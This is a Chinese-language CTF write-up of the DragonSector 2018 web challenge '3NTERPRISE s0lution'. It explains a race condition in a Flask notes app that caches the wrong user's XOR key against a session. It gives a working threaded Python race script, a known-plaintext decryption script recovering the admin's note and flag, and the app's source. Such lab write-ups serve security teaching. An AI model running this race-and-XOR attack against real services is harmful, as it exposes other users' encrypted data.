[Web] 3NTERPRISE s0lution - LanceaKing xp0int Posted on Oct 1 2018 ? flask ? ? 竞争 ? # 3NTERPRISE s0lution (Web, 278) > difficulty: easy (28 solvers) > > Dear all > > Welcome to our new enterprise solution. > You can leave your business notes here. > Data is safe - cause we use strong encryption ! > It is soooo safe, that even I am using this system. > You even can audit the code here > Plz DO NOT hax this - cause it is impossible !1111 > > Regards > Martin, the Webmaster > > URL: http://solution.hackable.software:8080 先注册一个账户 ![1.png](https://leanote.com/api/file/getImage?fileId=5bb1a724ab644134eb001de8) 登录很奇怪,用户名输入和密码输入分开了 ![2.png](https://leanote.com/api/file/getImage?fileId=5bb1a724ab644132ff001e2c) ![3.png](https://leanote.com/api/file/getImage?fileId=5bb1a724ab644132ff001e2e) 可以添加笔记 ![4.png](https://leanote.com/api/file/getImage?fileId=5bb1a724ab644132ff001e2d) note list可以查看笔记 ![5.png](https://leanote.com/api/file/getImage?fileId=5bb1a724ab644134eb001de7) ![6.png](https://leanote.com/api/file/getImage?fileId=5bb1a724ab644134eb001de9) 右键源码 ```html <!-- 加密后的hex --> <textarea rows=20 cols=40 id="note_data">4EBD90F6038DE0AB06FC</textarea><br> <div id="konsole"> Note encrypted ... <br> </div> <script> var org_content = ''; var pos = 0; function ll(msg){ jQuery("#konsole").append("[+] " + msg + "<br>"); } window.setTimeout(function(){ fetch_key() }, 1000) function fetch_key(){ ll("getting key ... "); jQuery.get( "/note/getkey", // 请求/note/getkey可以获取自己的key function(data){ ll("got key ..."); window.setTimeout(function(){ decode(data.key); }, 1000) } ) } function hex_to_ascii(str1){ var hex = str1.toString(); var str = ''; for (var n = 0; n < hex.length; n += 2) { str += String.fromCharCode(parseInt(hex.substr(n, 2), 16)); } return str; } function decode(key){ ll("decoding ... "); var note = jQuery("#note_data") window.hex_content = note.val(); window.pos = 0; window.org_content = hex_to_ascii(window.hex_content); window.key_content = hex_to_ascii(key); window.key_len = key.length; window.plaintext = ''; note.val(''); decode_iter(); } function decode_iter(){ // 异或,所以backend.xor_1337_encrypt也是一个异或运算 var note = jQuery("#note_data"); if (window.pos >= window.org_content.length){ return ll("Done !"); } c1 = window.org_content.charCodeAt(pos); c2 = window.key_content.charCodeAt(pos % window.key_len); c3 = c1 ^ c2; // console.log(c1 + " xor "+ c2 + " = "+ c3); // no loggin on prod ! window.plaintext += String.fromCharCode(c3) note.val(window.plaintext + window.hex_content.slice(2+pos*2)); window.pos += 1 window.setTimeout(function(){decode_iter();}, 120); } </script> ``` 看看id为1的笔记,是admin的笔记 ![7.png](https://leanote.com/api/file/getImage?fileId=5bb1a724ab644132ff001e30) 都是乱码,因为用的是我自己账户的key来解密的,右键源码可以获取密文: `07D8B68CDB92A687DFC74217C9D7F47E84540A3C97BA3D2B8B5B3E1C110A4C54F09392ADC910461BF61AA4AC6D921591556D1AAFCB8495144C27748369FC101847D7C2A9508F6534FFB7BCF859FD3ED8863611400F9ECB56064C20EDF0B6F6B1BF1CBB522A91F0C9B2` hex转字符串后长度为105,所以明文长度也是105 目标定为获取admin的key来解密,但是我不能登陆admin,有什么办法呢? 看一下登陆输入用户名的代码: ```python @app.route('/login/user', methods=['POST']) def do_login_user_post(): username = get_required_params("POST", ['login'])['login'] # 获取用户名 backend.cache_save( sid=flask.session.sid, # 存入session id和key的对应 value=backend.get_key_for_user(username) ) state = backend.check_user_state(username) if state > 0: add_msg("user has {} state code ;/ contact backend admin ... ".format(state)) return do_render() flask.session[K_LOGGED_IN] = False flask.session[K_AUTH_USER] = username return do_302("/login/auth") ``` 它先存入session id和key的对应,再检查用户状态,测试了一下,无论用什么用户名发送请求后,session id的用户会退出登陆 可以利用竞争,让自己的session id和admin的key在缓存中有短暂的对应 而且每次登陆输入用户名和注册时都有长达5秒的延迟(目测是因为出题人在backend.check_user_state里sleep(5)了),竞争很容易实现。 那么在这短暂的对应中可以干些什么呢?找一下哪里会根据session id加载缓存中的key,搜索`backend.cache_load`: 只找到两处 第一处在第191行的`print(backend.cache_load(sid=flask.session.sid))`只是在命令行里打印一下,没卵用 第二处在第231行,在添加笔记的函数里: ```python @app.route("/note/add", methods=['POST']) @loginzone def do_note_add_post(): text = get_required_params("POST", ["text"])["text"] key = backend.cache_load(flask.session.sid) # 根据session id获得缓存中的key if key is None: raise WebException("Cached key") text = backend.xor_1337_encrypt( # 用key加密笔记内容 data=text, key=key, ) note = model.Notes( username=flask.session[K_LOGGED_USER], message=backend.hex_encode(text), ) sql_session.add(note) sql_session.commit() add_msg("Done !") return do_render() ``` OK,思路出来了: 1. 用随意一个session id登录自己的账户 2. 用上一步的session id和用户名admin请求用户名输入的页面 3. 在上一步的请求响应前用已知的明文添加笔记 4. 重新登录自己的账户,查看刚才添加的笔记,用笔记的密文和已知的明文异或就得到admin的key 5. 查看/note/show/1,把admin笔记的密文和admin的key异或得到明文 完成前三步的脚本: ```python import requests import threading import time COOKIES = {'solution': 'lanceakingxxx-lanceakingxxx'} ENDPOINT = 'http://solution.hackable.software:8080' def login(): data = {'login': 'lanceakingxxx'} r = requests.post(f'{ENDPOINT}/login/user', data=data, cookies=COOKIES) print('login', r, r.elapsed.microseconds) data = {'password': 'lanceakingxxx', 'token': ''} r = requests.post(f'{ENDPOINT}/login/auth', data=data, cookies=COOKIES) print('login', r, r.elapsed.microseconds) def get_admin_key(): data = {'login': 'admin'} r = requests.post(f'{ENDPOINT}/login/user', data=data, cookies=COOKIES) print('get_admin_key', r, r.elapsed.microseconds) def post_note(): data = {'text': 'A' * 105} # 已知的明文 r = requests.post(f'{ENDPOINT}/note/add', data=data, cookies=COOKIES) print('post_note', r, r.elapsed.microseconds) def main(): login() t = threading.Thread(target=get_admin_key) t.start() time.sleep(0.5) for _ in range(5): try: post_note() except: pass t.join() if __name__ == '__main__': main() ``` ![8.png](https://leanote.com/api/file/getImage?fileId=5bb1a724ab644132ff001e2f) 重新登录,查看笔记,成功乱码了 ![9.png](https://leanote.com/api/file/getImage?fileId=5bb1a724ab644134eb001dea) 右键源码获取密文: `0EF0D9EDD3F390AFEDEE2303A8FAC05CAE3B6B32B897054A833A1C3C3E6B7D7AC2A1B69FA8376B3BD061C5A95EB43A836F606B82AB9A810A65524F9D4AEF65386DC9F78070BA7B40CB868FE66F8F4CFBF307202009ADEB633D2C1C8C9FD999D09638DA7B0EF0D9EDD3` 解密脚本: ```python from binascii import a2b_hex # 已知的明文 aaa = b'A' * 105 print(aaa) # 用admin的key加密的密文 enc_aaa = a2b_hex('0EF0D9EDD3F390AFEDEE2303A8FAC05CAE3B6B32B897054A833A1C3C3E6B7D7AC2A1B69FA8376B3BD061C5A95EB43A836F606B82AB9A810A65524F9D4AEF65386DC9F78070BA7B40CB868FE66F8F4CFBF307202009ADEB633D2C1C8C9FD999D09638DA7B0EF0D9EDD3') print(enc_aaa) # admin的key admin_key = bytes(x ^ y for x, y in zip(aaa, enc_aaa)) print(admin_key) # admin的密文 admin_enc = a2b_hex('07D8B68CDB92A687DFC74217C9D7F47E84540A3C97BA3D2B8B5B3E1C110A4C54F09392ADC910461BF61AA4AC6D921591556D1AAFCB8495144C27748369FC101847D7C2A9508F6534FFB7BCF859FD3ED8863611400F9ECB56064C20EDF0B6F6B1BF1CBB522A91F0C9B2') print(admin_enc) # admin的明文 admin_msg = bytes(x ^ y for x, y in zip(admin_key, admin_enc)) print(admin_msg) ``` ![10.png](https://leanote.com/api/file/getImage?fileId=5bb1a724ab644134eb001deb) DrgnS{L0l!_U_h4z_bR4ak_that_5upr_w33b4pp!Gratz!} webapp.py源码: ```python import functools import flask import backend import flask_session import model from waitress import serve sql_session = backend.sql_session _GET = ['GET'] _POST = ['POST'] CAPTCHA_ENABLED = False K_LOGGED_IN = 'logged_in' K_LOGGED_USER = 'logged_user' K_CIPHERKEY = 'userdata' K_AUTH_USER = 'auth_user' K_CAPTCHA = 'captcha_solution' app = flask.Flask(__name__) backend.setup_app(app) session_obj_handle = flask_session.Session(app) class WebException(Exception): pass def get_required_params(where, fields, soft_fail=False): kw = {} src = None if where == 'GET': src = flask.request.args if where == 'POST': src = flask.request.form for vn in fields: val = src.get(vn, None) if val is None: if soft_fail: return None else: raise WebException("Required argument '{0}' is missing !".format(vn)) kw[vn] = val return kw def _context(): return dict( meta_tags=[], messages=flask._msg, username=flask.session.get(K_LOGGED_USER, None), appname="DrgnS|Ent3rp4is S0lution" ) def do_render(**kw): ctx = _context() ctx['sid'] = flask.session.sid for key in kw: ctx[key] = kw[key] return flask.make_response(flask.render_template("index.html", ctx=ctx)) def do_302(target): return flask.make_response(flask.redirect(target)) def add_msg(text, style='info'): flask._msg.append(dict( text=text, style=style, )) @app.route('/', methods=["POST", "GET"]) def do_default(): return do_render() @app.route('/reg', methods=['GET']) def do_register_form(): captcha, solution = backend.make_captcha() flask.session[K_CAPTCHA] = solution return do_render(view='reg.html', captcha=captcha) @app.route('/reg', methods=['POST']) def do_register_post(): params = get_required_params("POST", ['login', 'passwd', 'solve']) good_sum = flask.session.get(K_CAPTCHA, -1) if CAPTCHA_ENABLED and params['solve'] != good_sum: add_msg('U fail at math ;-(') n = sql_session.query(model.Users).filter_by(username=params.get('login')).count() if n > 0: add_msg("User already exists !") return do_render() user = model.Users( username=params.get('login'), password=backend.password_hash(params.get('passwd')), motd="", ) sql_session.add(user) sql_session.commit() backend.setup_user(params.get('login')) add_msg("User created ! login now !") return do_render() @app.route('/login/user', methods=['GET']) def do_login_user_form(): do_logout() # app.session_interface.save_session() # if flask.session.get(K_LOGGED_IN): # return return do_render(view='auth_user.html') @app.route('/login/user', methods=['POST']) def do_login_user_post(): username = get_required_params("POST", ['login'])['login'] backend.cache_save( sid=flask.session.sid, value=backend.get_key_for_user(username) ) state = backend.check_user_state(username) if state > 0: add_msg("user has {} state code ;/ contact backend admin ... ".format(state)) return do_render() flask.session[K_LOGGED_IN] = False flask.session[K_AUTH_USER] = username return do_302("/login/auth") @app.route("/login/auth", methods=['GET']) def do_auth_form(): return do_render(view="auth_pass.html") @app.route("/login/auth", methods=['POST']) def do_auth_post(): flask.session[K_LOGGED_IN] = False username = flask.session.get(K_AUTH_USER) params = get_required_params("POST", ["password", "token"]) hashed = backend.password_hash(params['password']) record = sql_session.query(model.Users).filter_by( username=username, password=hashed, ).first() if record is None: add_msg("Fail to login. Bad user or password :-( ", style="warning") return do_render() # well .. not implemented yet if 1 == 0 and not backend.check_token(username, token=1): add_msg("Fail to verify 2FA !") return do_render() flask.session[K_LOGGED_IN] = True flask.session[K_LOGGED_USER] = record.username return do_302("/home/") @app.route("/logout") def do_logout(): flask.session[K_LOGGED_USER] = '' flask.session[K_LOGGED_IN] = False return do_302("/") def loginzone(func): @functools.wraps(func) def _wrapper(*a, **kw): if flask.session.get(K_LOGGED_IN): return func(*a, **kw) else: add_msg("Dude ! U R NOT logged in.") do_logout() return do_render() return _wrapper @app.route("/home/") @loginzone def do_home(): print(flask.session.sid) print(backend.cache_load(sid=flask.session.sid)) perms = backend.check_permisions(flask.session.get(K_LOGGED_USER)) return do_render(view="home.html", perms=perms) @app.route("/note/list") @loginzone def do_note_list(): cnt = sql_session.query(model.Notes).count() cur = flask.session.get(K_LOGGED_USER) notes = sql_session.query(model.Notes).filter_by(username=cur).order_by("id").limit(10).all() return do_render(view="notelist.html", notes=notes, notes_count=cnt) @app.route("/note/getkey") @loginzone def do_note_getkey(): return flask.jsonify(dict( key=backend.get_key_for_user(flask.session.get(K_AUTH_USER)) )) @app.route("/note/show/<idx>") @loginzone def do_note_show(idx): note = sql_session.query(model.Notes).filter_by(id=idx).first() # note = xor_note(note) return do_render(view="noteshow.html", note=note) @app.route("/note/add", methods=['GET']) @loginzone def do_note_add_form(): return do_render(view="addnote.html") @app.route("/note/add", methods=['POST']) @loginzone def do_note_add_post(): text = get_required_params("POST", ["text"])["text"] key = backend.cache_load(flask.session.sid) if key is None: raise WebException("Cached key") text = backend.xor_1337_encrypt( data=text, key=key, ) note = model.Notes( username=flask.session[K_LOGGED_USER], message=backend.hex_encode(text), ) sql_session.add(note) sql_session.commit() add_msg("Done !") return do_render() @app.route('/favicon.ico') def do_favicon(): return flask.redirect('static/favicon.ico') @app.before_request def check_request(): logged = flask.session.get(K_LOGGED_IN, None) if logged is None: # initialize stuff do_logout() flask._msg = [] pass @app.errorhandler(WebException) def handle_error(error): add_msg("Missing : " + str(error)) return do_render() # @app.errorhandler(Exception) def handle_error2(error): sql_session.rollback() response = flask.Response("<h1>C'mon! It's broken :/</h1><p>{0}</p>".format(str(error))) response.status_code = 400 # print(str(error)) return response if __name__ == "__main__": serve(app, port=8080) ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Rev] Brutal Oldskull - Cpt.shao [Pwn] Babyheap - Cpt.shao
没有帐号? 立即注册